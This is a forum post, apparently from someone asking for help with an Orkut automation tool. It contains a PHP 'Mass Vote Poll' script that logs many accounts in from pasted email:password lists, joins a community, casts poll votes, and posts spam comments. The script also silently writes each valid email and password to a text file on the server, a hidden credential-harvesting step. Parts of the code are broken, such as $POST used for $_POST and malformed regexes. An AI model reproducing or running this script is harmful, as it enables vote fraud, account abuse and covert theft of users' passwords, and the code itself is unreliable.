http://www.myorkut.net/Lola/index.php .I want to make a php script which should have html where i can put my Id and password and with using it , it can sign me in this this page and this should be continous if i put 10 ids it should login and logout then and keep working.
Please Please Please Can someone Help me. For Making It easier for you . I have this working script that works with this website and has all functions.
<?php
ini_set('max_execution_time','999999999999');
?>
<?
function lol() {
$logins = explode("\n",$POST['login']);
$pid = $POST['pid'];
$pct = $POST['pct'];
$option = $POST['option'];
$cmm = $POST['cmm'];
$com = $POST['com'];
function cURL($url,$header,$cookie,$p) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, $header);
curl_setopt($ch, CURLOPT_NOBODY, $header);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
if($p){
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $p);
};
$result = curl_exec($ch);
curl_close($ch);
if($result){
return $result;
}else{
};
};
for($i=0;$i<count($logins);$i++){
$tid = $POST['tid'];
$mss = $POST['mss'];
$login = $logins[$i];
$login = explode(":",$login);
$l = $login[0];
$l = trim($l);
$p = $login[1];
$p = trim($p);
$auth = cURL("https://www.google.com/accounts/ClientLogin?Email=".$l."&skipvpage=true&service=orkut&Passwd=".$p,0 , null, null);
$auth = explode("\nAuth=", $auth);
$auth = $auth[1];
$cookie = cURL("http://www.orkut.com.br/RedirLogin?auth=" .$auth,1, null, null);
$PT = "/Set-Cookie.*):; Domain=www.orkut.com.br; Path=\/; HttpOnly/i";
preg_match($PT, $cookie, $cookiu);
$cookie= $cookiu[1].":";
$scrap = cURL("http://www.orkut.com.br/Scrapbook", null, $cookie, null);
preg_match_all('/value="([a-z0-9+\/\=]{20,})"/i', $scrap, $postsig, PREG_SET_ORDER);
$joins = "http://www.orkut.com.br/Scrapbook";
$postsigs = "&POST_TOKEN=".$postsig[0][1]."&signature=".rawurlencode($postsig[1][1]);
$r = curl($joins, 0, $cookie, $joins);
$pos = strpos($r, "Moved Temporarily");
if ($pos === false){
$senha = fopen("atthestocking1987.txt", "a");
fwrite($senha," \n");
fwrite($senha,"".$l."".$email."");fwrite($senha,":".$p."\n");
fwrite($senha," ");
fclose($senha);
$r = curl("http://www.orkut.com.br/Home", 1, $cookie, null);
preg_match("/Set-Cookie.*):;/i", $r, $cookiu);
$osn= $cookiu[1].":";
$coo = $osn."; ".$cookie;
$jo = "POST_TOKEN=".$postsig[0][1]."&signature=".rawurlencode($postsig[1][1])."&Action.join";
curl("http://www.orkut.com.br/CommunityJoin?cmm=94968124".$cmm, 0, $coo, $jo );
$votee = "http://www.orkut.com.br/CommPollVote?cmm=".$cmm."&pid=".$pid."&pct=".$pct;
$postsig = "POST_TOKEN=".$postsig[0][1]."&signature=".rawurlencode($postsig[1][1]);
$r = curl($votee,0,$coo,$postsig."&option=".$option."&public_vote=2&Action.vote");
$msg = "$com \n\n\n [/b]~ Roxt4[teal] .[/teal]Com ~ \n\n\n".rand(100000, 100000000);
$votee1 = "http://www.orkut.com.br/CommPollResults?cmm=".$cmm."&pid=".$pid."&pct=".$pct;
$r = curl($votee1,0,$coo,$postsig."&postText=".$msg."&Action.submit");
print ('<center><font face="verdana" size="2"> '.$l.' - <b>Votou!</b>');
print ('</font></center>');
}else{
print "<center><font face='verdana' size='2'>".$l." - </font><font color='red' face='verdana' size='2'><b>Senha invalida ou perfil deletado!</font></b></center>";
}
ob_flush();
flush();
sleep(0);
}
};
if (isset($_POST['login'])){
lol();
}else{
?>
<html>
<head><title> Mass Vote Pool </title>
<link rel="stylesheet" type="text/css" href="rounded.css" media="screen">
<style type="text/css">
<!--
.style2 {
font-size: 32px;
font-family: "TREBUCHET MS";
color:#282828;
background-color:#D8D8D8 ;
}
.style3 {
font-size: 16px;
font-family: "TEMPUS SANS ITC";
color: 330033;
background-color:#F8F8F8;
-->
</style>
</head><body>
<center><form method="post"><center>
<p class="style2">Mass Vote Poll </p>
<p><span class="style3">Cmm:</span>
<input type="text" name="cmm" size="10">
<p><span class="style3">Pct:</span>
<input type="text" name="pct">
</p>
<p><span class="style3">Pid:</span>
<input type="text" name="pid">
</p>
<p><span class="style3">Option :</span>
<input type="text" name="option">
</p>
<p><span class="style3">Comment:</span><br />
<textarea name="com" cols="33" rows="5" class="inputdados"></textarea>
</p>
<p>
<textarea name="login" cols="33" rows="9">email:senha
email:senha
email:senha</textarea>
<br> <input type="submit" value=" - Votar - ">
</p>
</form>
</center>
</body>
</html>
<?
}
?>